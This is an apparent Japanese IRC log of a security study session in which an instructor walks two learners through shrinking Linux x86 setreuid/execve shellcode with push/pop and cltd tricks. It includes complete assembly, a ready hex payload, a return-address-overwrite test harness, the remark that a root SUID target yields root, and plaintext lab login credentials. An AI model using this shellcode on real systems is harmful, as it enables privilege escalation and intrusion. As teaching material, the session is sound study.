**** Sat Dec 8 21:10:44 2007 からログ記録開始 12月 08 21:10:44 * Now talking on #lykeion 12月 08 21:10:50 Defolos_ こんばんはー 12月 08 21:10:56 F7 こんばんわー 12月 08 21:10:57 Defolos_ おそくなってしまって申し訳ありませんでした 12月 08 21:10:59 be-be- こんばんは 12月 08 21:11:12 Defolos_ a, 12月 08 21:11:49 Defolos_ F7さんはSASSNSでの登録名は何でした? 12月 08 21:12:09 F7 FreeSeven++です(ミ´ω)ノ 12月 08 21:12:16 Defolos_ 了解しました 12月 08 21:12:24 F7 手間かけます。。。 12月 08 21:12:51 Defolos_ ちょっとお待ちください 12月 08 21:12:55 F7 y 12月 08 21:13:02 Defolos_ 実はSASSNSに入れなくなってしまって 12月 08 21:13:09 F7 ! 12月 08 21:13:18 Defolos_ ユーザアカウントの追加がまだできてないのですTT 12月 08 21:14:11 F7 よろしくお願いします(ミ´ω)b 12月 08 21:17:29 Defolos_ おまたせしました 12月 08 21:17:34 Defolos_ 多分大丈夫だと思います 12月 08 21:17:49 Defolos_ それでは、はじめましょうか 12月 08 21:18:21 F7 はい。 12月 08 21:18:33 Defolos_ 資料は前かいと同じく 12月 08 21:18:35 Defolos_ http://ruffnex.oc.to/defolos/exploiting/exploiting_practice/data/exploiting-03.html 12月 08 21:18:39 Defolos_ を使います 12月 08 21:19:12 Defolos_ さて、前回はPUSHテクニックを用いて文字列を生成することで 12月 08 21:19:24 Defolos_ シェルコードの小型化に成功しました 12月 08 21:19:40 Defolos_ このままでもそれなりに小さいのですが 12月 08 21:19:57 Defolos_ 実は後2つほどテクニックを使う事でもう少し小型化ができるのです 12月 08 21:20:21 Defolos_ 今日はこの2つのテクニックを紹介してさらなる小型化を目指したいと思います 12月 08 21:20:43 Defolos_ 質問は適宜行ってくださいね 12月 08 21:20:59 Defolos_ それで、前回の捕捉なのですが 12月 08 21:22:38 Defolos_ 実は今回の実験環境では、EXECVEのところでEAX以外のレジスタを使うと 12月 08 21:22:47 Defolos_ エラーが出てしまうようなのです 12月 08 21:23:22 Defolos_ あ、一応コードを挙げますね 12月 08 21:23:40 Defolos_ .global main 12月 08 21:23:40 Defolos_ main: 12月 08 21:23:40 Defolos_ #setreuid 12月 08 21:23:40 Defolos_ xorl %eax, %eax 12月 08 21:23:40 Defolos_ xorl %ebx, %ebx 12月 08 21:23:40 Defolos_ xorl %ecx, %ecx 12月 08 21:23:40 Defolos_ movb $0x46, %al 12月 08 21:23:40 Defolos_ int $0x80 12月 08 21:23:40 Defolos_ #execve 12月 08 21:23:40 Defolos_ xorl %eax, %eax 12月 08 21:23:40 Defolos_ pushl %eax 12月 08 21:23:40 Defolos_ pushl $0x68732f2f 12月 08 21:23:40 Defolos_ pushl $0x6e69622f 12月 08 21:23:40 Defolos_ movl %esp, %ebx 12月 08 21:23:40 Defolos_ pushl %eax 12月 08 21:23:40 Defolos_ pushl %ebx 12月 08 21:23:40 Defolos_ movl %esp, %ecx 12月 08 21:23:40 Defolos_ xorl %edx, %edx 12月 08 21:23:40 Defolos_ movb $0xb, %al 12月 08 21:23:40 Defolos_ int $0x80 12月 08 21:23:47 Defolos_ これなのですが 12月 08 21:24:13 Defolos_ EXECVEのところでXORL %EAX、%EAXってのがありますね 12月 08 21:24:46 Defolos_ これは本来必要無くて、ECX(中身が0になってる)をPUSHすれば良いはずなのですが 12月 08 21:25:01 Defolos_ ここの環境ではそれだとエラーがでるようなのです 12月 08 21:25:20 Defolos_ そこでEAXをわざわざゼロクリアしてPUSHしているわけですが 12月 08 21:25:36 Defolos_ 他の環境ではここの部分は無くても動くと思います 12月 08 21:26:16 Defolos_ つまり、実際にはもう2バイト程小さいコードができるわけですが、今回はちょっと大きなコードになってしまうことを御了承ください 12月 08 21:26:41 Defolos_ このようにちょっとした環境の違いでプログラムを変えなければならないので 12月 08 21:27:08 Defolos_ 事前にどのOSのどのバージョンなのかを下調べすることが必要となってきますね 12月 08 21:27:37 Defolos_ それでは、資料を御覧ください 12月 08 21:28:25 Defolos_ 今回は「pushテクニックの応用」のところの「pushによるシステムコール番号の生成」からはじめますね 12月 08 21:28:49 Defolos_ これまではシステムコール番号をEAXに格納するのには 12月 08 21:29:03 Defolos_ まずEAXをXORでゼロクリアしてから 12月 08 21:29:23 Defolos_ MOV命令で番号を直接EAXに入れていました 12月 08 21:31:02 Defolos_ これを 12月 08 21:31:13 Defolos_ PUSH $0x70 12月 08 21:31:18 Defolos_ POP%EAX 12月 08 21:31:23 Defolos_ という風に変更します 12月 08 21:31:37 Defolos_ コード自体は長さがかわらないのですが 12月 08 21:31:49 Defolos_ これを機械語にすると微妙に小さくなるのです 12月 08 21:32:52 Defolos_ これはスタックにPUSHが4バイト単位で値を入れるように決められている?なのですが 12月 08 21:33:26 Defolos_ 今回の場合は70を入れていますね 12月 08 21:33:39 Defolos_ これは4バイトよりも短いのですが 12月 08 21:34:02 Defolos_ PUSHの場合は余った先頭に時動的に0を補ってくれるので 12月 08 21:34:31 Defolos_ はじめからゼロクリアしたものを用意する必要が無いのです 12月 08 21:35:12 Defolos_ あ、MOVB $0x70、 %AL ってのをいきなりやると 12月 08 21:35:18 Defolos_ エラーが出るかも知れません 12月 08 21:36:25 Defolos_ 70という値はALの記憶単位である8ビットより小さいので 12月 08 21:36:55 Defolos_ 余った部分は前からあるEAXの値がそのまま残ってるかも知れないからです 12月 08 21:37:39 Defolos_ 例えば、EAXが00000000 00000000 00000000 99999999だったとします 12月 08 21:38:28 Defolos_ ここで、0x70つまり、1110000をALに入れたとします 12月 08 21:38:46 Defolos_ 0x70は7ビットですので 12月 08 21:38:55 Defolos_ のこり1ビット余ってますね 12月 08 21:39:23 Defolos_ そうすると、ALに入れた時の一番左側の1ビットは上書きされずにそのままになる可能性があるので 12月 08 21:39:53 Defolos_ 00000000 00000000 00000000 91110000 12月 08 21:39:59 Defolos_ という値になってしまいます 12月 08 21:40:14 Defolos_ これは0x70とは違いますね 12月 08 21:40:18 Defolos_ 一方で 12月 08 21:40:27 Defolos_ PUSH 0x70とやると 12月 08 21:40:53 Defolos_ 0x70は7ビットしか無いのですが 12月 08 21:41:06 Defolos_ 32ビット単位でPUSH命令が動作するので 12月 08 21:41:22 Defolos_ 先頭の残り25びっとには0が時動的に設定されます 12月 08 21:41:46 Defolos_ つまり、00000000 00000000 00000000 01110000という値はがPUSHされるわけです 12月 08 21:42:45 Defolos_ POPするときは4バイト全部もってくることになるのですが 12月 08 21:43:11 Defolos_ 先頭の0はコード中に直接書くわけではないので 12月 08 21:43:29 Defolos_ NULLバイトは出現せずにコードを短くする事ができるのです 12月 08 21:43:50 Defolos_ それでは、まずこの部分を改良してみましょうか 12月 08 21:43:58 Defolos_ SSHサーバにログインください 12月 08 21:44:17 Defolos_ ドメインはglazheim.mydns.jpです 12月 08 21:44:26 Defolos_ たぶん、ログインできるよね/// 12月 08 21:46:27 * Offering DCC CHAT to F7 12月 08 21:46:36 * DCC CHAT to F7 aborted. 12月 08 21:46:50 Defolos_ あ、アカウントはfreeseven 12月 08 21:46:58 Defolos_ パスはsasですので 12月 08 21:47:06 be-be- ログインが出来ないのですが・・・ 12月 08 21:47:10 Defolos_ ! 12月 08 21:47:23 F7 繋がらない僕は負け。。。 12月 08 21:47:28 Defolos_ なんてエラーが出ますか? 12月 08 21:47:29 be-be- パスワード画面にすら入ってくれません 12月 08 21:47:47 F7 接続がタイムアウトします。。。 12月 08 21:48:04 Defolos_ ! 12月 08 21:50:00 Defolos_ ちょっとおまちください 12月 08 21:51:06 Defolos_ たぶん行けたと思います 12月 08 21:53:51 Defolos_ やっぱり入れませんか? 12月 08 21:59:28 Defolos_ ちょっとMYDNSの調子がよろしくないようですので 12月 08 21:59:31 Defolos_ 220.145.26.41 12月 08 21:59:37 Defolos_ でやってみてください 12月 08 22:02:41 Defolos_ どうでしょうか 12月 08 22:07:18 * Disconnected (). **** Sat Dec 8 22:07:18 2007 でログ記録終了 **** Sat Dec 8 22:08:39 2007 からログ記録開始 12月 08 22:08:39 * Now talking on #lykeion 12月 08 22:09:34 Defolos tadaima 12月 08 22:09:37 F7 おかえりです(ミ´∀) 12月 08 22:09:44 be-be- おかえり 12月 08 22:10:02 Defolos えと 12月 08 22:10:08 Defolos やっぱり接続できませんか? 12月 08 22:10:23 F7 繋がりました 12月 08 22:10:30 Defolos ♪ 12月 08 22:10:36 be-be- 大丈夫です 12月 08 22:10:46 Defolos では、やって行きましょうか 12月 08 22:11:02 Defolos 前回のプログラムは残ってますか? 12月 08 22:11:19 F7 ・・・。 12月 08 22:11:29 Defolos あ、F7さんは 12月 08 22:11:37 be-be- はいあります。 12月 08 22:11:37 Defolos こちらで用意した物をご利用ください 12月 08 22:12:01 F7 y 12月 08 22:12:47 Defolos http://security2600.sakura.ne.jp/up/img/614.txt 12月 08 22:13:08 Defolos をダウンロードして、その中の一番上のアセンブリのサンプルをご利用ください 12月 08 22:13:19 F7 わかりました 12月 08 22:13:30 Defolos この中で先程の、システムコール番号の生成のところを変更してみてください 12月 08 22:21:55 be-be- こんな感じですか? 12月 08 22:21:59 -be-be-/#lykeion- .global main 12月 08 22:21:59 -be-be-/#lykeion- main: 12月 08 22:21:59 -be-be-/#lykeion- #setuid 12月 08 22:21:59 -be-be-/#lykeion- xorl %eax, %eax 12月 08 22:21:59 -be-be-/#lykeion- xorl %ebx, %ebx 12月 08 22:22:00 -be-be-/#lykeion- xorl %ecx, %ecx 12月 08 22:22:02 -be-be-/#lykeion- movb $0x46, %al 12月 08 22:22:04 -be-be-/#lykeion- int $0x80 12月 08 22:22:06 -be-be-/#lykeion- #execve 12月 08 22:22:08 -be-be-/#lykeion- xorl %eax, %eax 12月 08 22:22:10 -be-be-/#lykeion- pushl %eax 12月 08 22:22:12 -be-be-/#lykeion- pushl $0x68732f2f 12月 08 22:22:14 -be-be-/#lykeion- pushl $0x6e69622f 12月 08 22:22:16 -be-be-/#lykeion- movl %esp, %ebx 12月 08 22:22:18 -be-be-/#lykeion- pushl %eax 12月 08 22:22:20 -be-be-/#lykeion- pushl %ebx 12月 08 22:22:22 -be-be-/#lykeion- movl %esp, %ecx 12月 08 22:22:24 -be-be-/#lykeion- xorl %edx, %edx 12月 08 22:22:26 -be-be-/#lykeion- push $0xb 12月 08 22:22:28 -be-be-/#lykeion- pop %eax 12月 08 22:22:30 -be-be-/#lykeion- int $0x80 12月 08 22:23:01 Defolos んー 12月 08 22:23:08 Defolos 今回のテクニックは 12月 08 22:23:23 Defolos SETREUIDのところの 12月 08 22:23:34 Defolos システムコール番号の生成に使う物なのですが 12月 08 22:23:41 be-be- あ! 12月 08 22:23:41 Defolos 使い方としてはOKです 12月 08 22:24:09 Defolos EXECVEのところでは既にEAXが0クリアされてる事が保証されていますからね 12月 08 22:28:08 be-be- そうですね。 12月 08 22:28:16 be-be- こんな感じですか? 12月 08 22:28:21 -be-be-/#lykeion- .global main 12月 08 22:28:21 -be-be-/#lykeion- main: 12月 08 22:28:21 -be-be-/#lykeion- #setuid 12月 08 22:28:21 -be-be-/#lykeion- pushl $0x46 12月 08 22:28:21 -be-be-/#lykeion- popl %eax 12月 08 22:28:22 -be-be-/#lykeion- xorl %ebx, %ebx 12月 08 22:28:24 -be-be-/#lykeion- xorl %ecx, %ecx 12月 08 22:28:26 -be-be-/#lykeion- int $0x80 12月 08 22:28:28 -be-be-/#lykeion- #execve 12月 08 22:28:30 -be-be-/#lykeion- xorl %eax, %eax 12月 08 22:28:32 -be-be-/#lykeion- pushl %eax 12月 08 22:28:34 -be-be-/#lykeion- pushl $0x68732f2f 12月 08 22:28:36 -be-be-/#lykeion- pushl $0x6e69622f 12月 08 22:28:38 -be-be-/#lykeion- movl %esp, %ebx 12月 08 22:28:40 -be-be-/#lykeion- pushl %eax 12月 08 22:28:42 -be-be-/#lykeion- pushl %ebx 12月 08 22:28:44 -be-be-/#lykeion- movl %esp, %ecx 12月 08 22:28:46 -be-be-/#lykeion- xorl %edx, %edx 12月 08 22:28:48 -be-be-/#lykeion- movb $0xb, %al 12月 08 22:28:50 -be-be-/#lykeion- int $0x80 12月 08 22:29:09 Defolos そうですー 12月 08 22:29:28 Defolos たぶんそれで動くと思いますよ 12月 08 22:30:54 be-be- はい、動きました。 12月 08 22:31:05 Defolos b” 12月 08 22:31:21 Defolos F7さんはいかがですか? 12月 08 22:31:32 F7 四苦八苦で混乱中。。。 12月 08 22:31:41 Defolos Σ 大丈夫ですか? 12月 08 22:31:45 F7 _no駄目人間 12月 08 22:32:11 Defolos 今どんな感じのコードになってますか? 12月 08 22:33:22 -F7/#lykeion- .global main 12月 08 22:33:22 -F7/#lykeion- main: 12月 08 22:33:22 -F7/#lykeion- #setreuid 12月 08 22:33:22 -F7/#lykeion- xorl %eax, %eax 12月 08 22:33:22 -F7/#lykeion- xorl %ebx, %ebx 12月 08 22:33:23 -F7/#lykeion- xorl %ecx, %ecx 12月 08 22:33:25 -F7/#lykeion- push $0x70 12月 08 22:33:27 -F7/#lykeion- pop %eax 12月 08 22:33:29 -F7/#lykeion- int $0x80 12月 08 22:33:31 -F7/#lykeion- #execve 12月 08 22:33:33 -F7/#lykeion- xorl %eax, %eax 12月 08 22:33:35 -F7/#lykeion- pushl %eax 12月 08 22:33:37 -F7/#lykeion- pushl $0x68732f2f 12月 08 22:33:39 -F7/#lykeion- pushl $0x6e69622f 12月 08 22:33:41 -F7/#lykeion- movl %esp, %ebx 12月 08 22:33:43 -F7/#lykeion- pushl %eax 12月 08 22:33:45 -F7/#lykeion- pushl %ebx 12月 08 22:33:47 -F7/#lykeion- movl %esp, %ecx 12月 08 22:33:49 -F7/#lykeion- xorl %edx, %edx 12月 08 22:33:51 -F7/#lykeion- movb $0xb, %al 12月 08 22:33:53 -F7/#lykeion- int $0x80 12月 08 22:33:55 F7 もうだめかもしれない(ミ。ω) 12月 08 22:34:25 Defolos あ、うまくできてると思います 12月 08 22:34:39 F7 ! 12月 08 22:34:53 Defolos ただ、ちょこっと惜しいです 12月 08 22:35:08 F7 (ミ`ω)うがー 12月 08 22:35:09 Defolos というか、私のミスです 12月 08 22:35:13 Defolos すいません 12月 08 22:35:17 F7 ? 12月 08 22:35:23 Defolos 先程0x70で説明しましたが 12月 08 22:35:41 Defolos 0x46と間違えて 12月 08 22:35:44 F7 46ですか 12月 08 22:35:44 Defolos 説明しちゃいました 12月 08 22:35:48 F7 ぬぐー 12月 08 22:36:00 Defolos 0x46を10進数で表示すると70になるので 12月 08 22:36:05 Defolos 間違えちゃました 12月 08 22:36:17 Defolos 説明の原理は違わないのですが 12月 08 22:36:28 Defolos 誤解を生む数値にしてしまって申し訳ありません 12月 08 22:36:48 F7 僕の注意力の問題です。。_no 12月 08 22:36:58 Defolos あと、一番上のXOR EAXのところですが 12月 08 22:37:06 F7 はい 12月 08 22:37:14 Defolos 実はこれはPUSHでシステムコール番号を生成すると不要になるのです 12月 08 22:37:57 Defolos EAXをゼロクリアしておかなければならなかったのは、70を入れる時にゴミが残ってると困るからなのですが 12月 08 22:38:13 Defolos PUSH/POPだとゴミの掃除まで自動でしてくれるので 12月 08 22:38:24 Defolos ゼロクリアの必要がないのですよ 12月 08 22:38:37 F7 なるほど。。 12月 08 22:38:43 -F7/#lykeion- .global main 12月 08 22:38:43 -F7/#lykeion- main: 12月 08 22:38:43 -F7/#lykeion- #setreuid 12月 08 22:38:43 -F7/#lykeion- xorl %ebx, %ebx 12月 08 22:38:43 -F7/#lykeion- xorl %ecx, %ecx 12月 08 22:38:44 -F7/#lykeion- push $0x46 12月 08 22:38:46 -F7/#lykeion- pop %eax 12月 08 22:38:48 -F7/#lykeion- int $0x80 12月 08 22:38:50 -F7/#lykeion- #execve 12月 08 22:38:52 -F7/#lykeion- xorl %eax, %eax 12月 08 22:38:54 -F7/#lykeion- pushl %eax 12月 08 22:38:56 -F7/#lykeion- pushl $0x68732f2f 12月 08 22:39:00 -F7/#lykeion- pushl $0x6e69622f 12月 08 22:39:02 -F7/#lykeion- movl %esp, %ebx 12月 08 22:39:04 -F7/#lykeion- pushl %eax 12月 08 22:39:06 -F7/#lykeion- pushl %ebx 12月 08 22:39:08 -F7/#lykeion- movl %esp, %ecx 12月 08 22:39:10 -F7/#lykeion- xorl %edx, %edx 12月 08 22:39:12 -F7/#lykeion- movb $0xb, %al 12月 08 22:39:14 -F7/#lykeion- int $0x80 12月 08 22:39:27 Defolos お、いけそうですね 12月 08 22:41:04 F7 コンパイル通ったっぽいです。 12月 08 22:41:12 Defolos b” 12月 08 22:43:00 Defolos あ、F7さんテストの方法は分かりますか? 12月 08 22:43:13 F7 ./a.out? 12月 08 22:43:29 Defolos 実はそれだとうまく動かないのですよ 12月 08 22:43:35 F7 ! 12月 08 22:43:55 Defolos 今回はペイロード専用にプログラミングしましたので 12月 08 22:43:56 F7 すいませんタコです。。_no教えて下さい。。。 12月 08 22:43:59 F7 はい 12月 08 22:44:23 Defolos ぺ位ロードとして埋め込んで、プログラムの動作の流れを無理矢理変えてやって実行しないと 12月 08 22:44:28 Defolos このプログラムは動かないのです 12月 08 22:44:54 Defolos そんなわけで、テスト用のプログラムがこれなのですが 12月 08 22:45:06 Defolos unsigned char payload[]="\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 12月 08 22:45:06 Defolos int main(void){ 12月 08 22:45:06 Defolos int *retadd; 12月 08 22:45:06 Defolos retadd = (int *)&retadd + 2; 12月 08 22:45:06 Defolos (*retadd) = (int)payload; 12月 08 22:45:06 Defolos return 0; 12月 08 22:45:06 Defolos } 12月 08 22:45:31 Defolos そこのpayload[]って部分に先程作ってもらったa.outの中身を 12月 08 22:45:36 Defolos 機械語で書きます 12月 08 22:45:54 Defolos で、どうやって機械語を見るのかと言いますと 12月 08 22:45:57 F7 はい 12月 08 22:46:01 Defolos objdumpってソフトを使います 12月 08 22:46:21 Defolos まぁ、やってみましょうか 12月 08 22:46:31 Defolos objdump -d a.out 12月 08 22:46:36 Defolos ってやってみてください 12月 08 22:47:10 F7 ずらーっと出てきました 12月 08 22:47:18 Defolos 多分たくさん機械語とアセンブリ言語が出たとおもいます 12月 08 22:47:28 Defolos で、実はこんなに沢山必要無くって 12月 08 22:47:45 Defolos 私達が利用するのはmainって所から30行程なのです 12月 08 22:47:52 Defolos なので、objdump -d a.out|grep \ -A 30 ってやります 12月 08 22:48:08 Defolos これで、mainから30行が表示されます 12月 08 22:48:42 F7 なるほど、出ました 12月 08 22:48:52 Defolos それで、ですね 12月 08 22:49:10 Defolos 真中の所に 31 dbとかの欄がありますよね 12月 08 22:49:18 F7 はい 12月 08 22:49:32 Defolos この欄の90ってのが現れるまでが欲しいのです 12月 08 22:49:45 F7 ほう 12月 08 22:49:53 Defolos なので他の表示を消す必要があるのですが 12月 08 22:50:09 Defolos こぴぺして1行ずつ消すのって 12月 08 22:50:14 Defolos 面倒ですよね 12月 08 22:50:16 F7 うげ。。 12月 08 22:50:18 F7 はい。。 12月 08 22:50:19 Defolos そこで 12月 08 22:50:31 Defolos もっと簡単になるプログラムを作っておきました 12月 08 22:50:37 F7 ! 12月 08 22:50:42 Defolos objdump -d a.out|grep \ -A 30 > test.txt 12月 08 22:50:50 Defolos って打ってください 12月 08 22:51:08 F7 打ちました 12月 08 22:51:25 Defolos で、 12月 08 22:52:09 Defolos /home/SAS_Workspace/codec.exe ./test.txt 12月 08 22:52:15 Defolos ってやってみてください 12月 08 22:52:48 F7 ぉ、まとまりました 12月 08 22:52:52 Defolos うん 12月 08 22:53:06 Defolos その出力のしたの段 12月 08 22:53:22 Defolos 先頭に\xってのが付いてる方をどこかにコピーしてください 12月 08 22:54:00 F7 さっきのcのコードに入れました 12月 08 22:54:39 Defolos では、次に 12月 08 22:55:04 Defolos cp /home/SAS_Workspace/test.c ./test.c 12月 08 22:55:09 Defolos とやってみてください 12月 08 22:55:49 Defolos あ、パーミッション変更しておきました 12月 08 22:56:06 Defolos って ごめんなさい 12月 08 22:56:08 Defolos 間違えました 12月 08 22:56:22 F7 ! 12月 08 22:56:29 Defolos テスト用のプログラムは先程示しましたね 12月 08 22:56:45 F7 あーはい。。。多分。。。 12月 08 22:56:56 Defolos あれのpayload[]のところにコピペして 12月 08 22:56:59 Defolos ください 12月 08 22:57:10 F7 しました☆ 12月 08 22:57:16 Defolos b” 12月 08 22:57:22 Defolos では、それをコンパイルしましょう 12月 08 22:57:53 F7 しましたー 12月 08 22:58:24 F7 Hello World!キター 12月 08 22:58:32 Defolos あれ? 12月 08 22:58:35 F7 あれ 12月 08 22:58:51 Defolos test002.c no 12月 08 22:58:57 Defolos no 12月 08 22:59:03 Defolos のほうです ̄ 12月 08 22:59:04 F7 違うものコンパイルしてました。。。 12月 08 22:59:08 F7 すいません。。 12月 08 22:59:18 Defolos あと、002の方ですが 12月 08 22:59:34 Defolos 実はぺ位ロードとして必要なのは、0x90が出現する直前までなのです 12月 08 22:59:34 F7 はい。。 12月 08 22:59:47 F7 _no 12月 08 22:59:54 Defolos それ以後は消しても構いませんよ 12月 08 23:03:00 F7 多分動きました。。。 12月 08 23:03:15 Defolos OK 12月 08 23:03:35 Defolos 動いてまsね 12月 08 23:03:45 Defolos 個のテストプログラムは 12月 08 23:04:19 Defolos 起動したら終了時の戻りアドレスをpayloadの先頭に変更して終了するのです 12月 08 23:04:46 Defolos ですので、ぺ位ロードに処理が移ってシェルが起動したわけです 12月 08 23:05:02 Defolos このテストプログラムはルート権限で走ってはいないので 12月 08 23:05:12 Defolos 権限はfreesevenさんのままですが 12月 08 23:05:30 F7 なるほど。 12月 08 23:05:40 Defolos これがルート所有のSUIDプログラムだとルート権限がとれるというわけです 12月 08 23:05:53 F7 うげ 12月 08 23:06:00 Defolos ? 12月 08 23:06:37 F7 相槌です。。。すいません、奇声発して。。 12月 08 23:06:48 Defolos 詳しい動作原理は過去ログでも見てもらえればOKかと思います 12月 08 23:06:56 F7 わかりました☆ 12月 08 23:07:01 Defolos それでは、ここまでで質問はありませんでしょうか 12月 08 23:07:11 be-be- はい大丈夫です 12月 08 23:07:34 F7 質問ではないですが、迷惑かけてすいませんでした。。。_n "oコロコロ 12月 08 23:07:38 Defolos いえいえ 12月 08 23:07:49 Defolos おさらいにもなってよかったのではないかと思いますよ 12月 08 23:08:10 Defolos それでは残るもう一つのテクニックについてご説明しましょう 12月 08 23:08:27 Defolos もう一つはCDP命令の活用です 12月 08 23:08:47 Defolos これは資料にある通り、eaxに格納された4バイトの符号付整数を8バイトの符号付整数に変換する.上4バイトはedxに、下4バイトはeaxに格納される. 12月 08 23:08:52 Defolos という命令なのですが 12月 08 23:09:19 Defolos まぁ、C用語でいうなら 12月 08 23:09:42 Defolos FLOAT型数値をDOUBLE型数値に変換する感じでしょうね 12月 08 23:10:06 Defolos で、レジスタは4バイトに固定されてますので 12月 08 23:10:21 Defolos レジスタを2つ使ってDOUBLEに変換するわけですね 12月 08 23:10:55 Defolos EAXに入ってる数値がマイナスならEDXに1を設定します 12月 08 23:11:30 Defolos で、EAXが0かプラスならEDXの全てのビットには0が入れられます 12月 08 23:11:57 Defolos まぁ、0を入れる理由はこれからEDXを使って行く上での初期化でしょうね 12月 08 23:12:09 Defolos で、この性質を利用しますと 12月 08 23:12:34 Defolos EDXをXORしなくても個の命令を使ってゼロクリアできるわけです 12月 08 23:13:16 Defolos 前まではXORで2バイトの機械語に変換されて来たわけなのですが 12月 08 23:13:28 Defolos このCDP命令は1バイトなので 12月 08 23:13:39 Defolos ほんのちょっとではありますが短くなりますね 12月 08 23:14:09 Defolos GASの場合はCDP命令はCLTDという名前になってますので 12月 08 23:14:12 Defolos ご注意ください 12月 08 23:14:42 Defolos あと、EAXが負の数だったら1が入っちゃいますので 12月 08 23:14:59 Defolos どこかでEAXをゼロクリアしておかないとダメですね 12月 08 23:15:27 Defolos それでは、先程小さくしてもらったコードをCDP命令を使うことでもう少し小さくしてみましょうか 12月 08 23:23:03 be-be- こんな感じになりました 12月 08 23:23:05 -be-be-/#lykeion- .global main 12月 08 23:23:06 -be-be-/#lykeion- main: 12月 08 23:23:06 -be-be-/#lykeion- #setuid 12月 08 23:23:06 -be-be-/#lykeion- pushl $0x46 12月 08 23:23:06 -be-be-/#lykeion- popl %eax 12月 08 23:23:06 -be-be-/#lykeion- xorl %ebx, %ebx 12月 08 23:23:08 -be-be-/#lykeion- xorl %ecx, %ecx 12月 08 23:23:10 -be-be-/#lykeion- int $0x80 12月 08 23:23:12 -be-be-/#lykeion- #execve 12月 08 23:23:14 -be-be-/#lykeion- xorl %eax, %eax 12月 08 23:23:16 -be-be-/#lykeion- cltd 12月 08 23:23:18 -be-be-/#lykeion- pushl %eax 12月 08 23:23:20 -be-be-/#lykeion- pushl $0x68732f2f 12月 08 23:23:22 -be-be-/#lykeion- pushl $0x6e69622f 12月 08 23:23:24 -be-be-/#lykeion- movl %esp, %ebx 12月 08 23:23:26 -be-be-/#lykeion- pushl %eax 12月 08 23:23:28 -be-be-/#lykeion- pushl %ebx 12月 08 23:23:30 -be-be-/#lykeion- movl %esp, %ecx 12月 08 23:23:32 -be-be-/#lykeion- movb $0xb, %al 12月 08 23:23:34 -be-be-/#lykeion- int $0x80 12月 08 23:23:57 Defolos うん。いけそうですね 12月 08 23:24:53 be-be- はい、大丈夫でした 12月 08 23:25:38 Defolos b” 12月 08 23:26:02 Defolos では、これまでのペイロードのバイト数を数えてみてください 12月 08 23:28:34 be-be- …あれ、違いが無い 12月 08 23:29:13 Defolos ! 12月 08 23:29:46 -be-be-/#lykeion- -rwxr-xr-x 1 kazui SAS 11354 2007-12-08 23:27 shellcode 12月 08 23:29:46 -be-be-/#lykeion- -rwxr-xr-x 1 kazui SAS 11354 2007-12-08 23:27 shellcode2 12月 08 23:30:04 be-be- になっています 12月 08 23:30:08 Defolos あ 12月 08 23:30:28 Defolos lsで表示されるやつはセクタ数ですので 12月 08 23:30:34 Defolos かなり大雑把です 12月 08 23:30:44 Defolos 実際にCATとかで表示して 12月 08 23:30:51 Defolos 何文字あるか数えるといいですよ 12月 08 23:31:21 be-be- 了解いたしました 12月 08 23:31:57 Defolos F7さんはどんな感じですか? 12月 08 23:32:13 F7 大混乱。。。 12月 08 23:32:31 Defolos ^^; 12月 08 23:33:22 F7 ダンプした結果がさっきと同じというおそらくなにかの見落としに取り付かれてるぅ 12月 08 23:33:50 Defolos あれ?でもコードはちゃんとできてますよ 12月 08 23:34:51 Defolos test002.txtの中身も最大限に小さくなってますし 12月 08 23:35:41 F7 あぅー、、、メモがごっちゃになってた。。。すいません。。。 12月 08 23:35:50 Defolos ^^; 12月 08 23:36:05 Defolos 後はそれで動作テストしてみましょうか 12月 08 23:37:45 F7 多分動きました☆ 12月 08 23:38:27 Defolos GOOD 12月 08 23:38:31 be-be- こちらもwcを使って確認しました 12月 08 23:38:38 Defolos おー 12月 08 23:38:55 Defolos 私は指折数えてました^^; 12月 08 23:39:29 Defolos たぶん、微妙に小さくなってると思います 12月 08 23:40:14 Defolos 私の例では 12月 08 23:40:27 Defolos プッシュテクニックだけを使った場合は35バイトでしたが 12月 08 23:40:40 Defolos システムコール番号の生成もPUSHでやるようにして34バイトに 12月 08 23:40:53 Defolos CDP命令を使って33バイトになりました 12月 08 23:41:31 Defolos こんな感じで、初期と比べて2バイト程ちじんだことになりますね 12月 08 23:41:58 Defolos これだけ頑張ってたったの2バイトかーと思われるかもしれませんが 12月 08 23:42:06 Defolos 確かにたった2バイトですね^^; 12月 08 23:42:46 Defolos まぁ、小さくする行為自体がハッカーにとっては重要ということです 12月 08 23:43:23 Defolos それでは最後にPUSHテクニックを使う上での注意点を説明しますね 12月 08 23:43:51 Defolos プッシュテクニックで文字列を生成するときは、文字列の長さが4の倍数でないといけません 12月 08 23:44:27 Defolos これは1文字が1バイトとして、PUSH/POPが4文字(4バイト)を基準単位として動作するからです 12月 08 23:44:41 Defolos 今回は/bin/shという指定の仕方と 12月 08 23:45:00 Defolos /bin//shという指定の仕方の両方でシェルが起動するから 12月 08 23:45:05 Defolos このテクニックを使えたわけです 12月 08 23:45:34 Defolos 次に、文字列はリトルエンディアンを考えてプッシュしましょう 12月 08 23:46:24 Defolos リトルエンディアンは4文字語とに区切って、それぞれを逆順に読むやつでしたね 12月 08 23:46:35 Defolos 詳しくは前回のログを御覧ください 12月 08 23:46:40 Defolos 最後に、 12月 08 23:47:02 Defolos LINUXの場合はPUSHテクニックを使うと結構小型化することができるのですが 12月 08 23:47:20 Defolos FREEBSDの場合は逆に、複雑でおおきくなってしまいます 12月 08 23:47:41 Defolos これはPUSHの仕様やシステムコールを呼ぶときの仕様に違いがあるためです 12月 08 23:48:03 Defolos そんなわけで、BSDにはPUSHテクニックは使わないようにしましょう 12月 08 23:48:17 Defolos 以上で今日はおしまいですが、なにか質問はありませんか? 12月 08 23:48:36 F7 ごめんなさい_n -=oドーン 12月 08 23:48:47 be-be- 特にありません 12月 08 23:49:08 Defolos では、今日はこれでおわりにしましょう^ 12月 08 23:49:14 Defolos 長い間お疲れ様でした 12月 08 23:49:18 be-be- はい、お疲れ様でした 12月 08 23:49:20 F7 ありがとうございました! 12月 08 23:49:25 Defolos あ、次回ですが 12月 08 23:49:39 Defolos もうちょっとペイロードの練習してもいいのですが 12月 08 23:49:52 Defolos そろそろBOFの原理のところをやって行きたいと思います 12月 08 23:50:08 be-be- お願いします 12月 08 23:50:32 Defolos 今のシェルコードをもう少し発展させるのはBOFの説明が終ってからにしたいと思いますので 12月 08 23:51:16 Defolos これを先にやってというような要望がありましたら、SASSNSで連絡くださいね 12月 08 23:52:02 Defolos それでは、今日はありがとうございました 12月 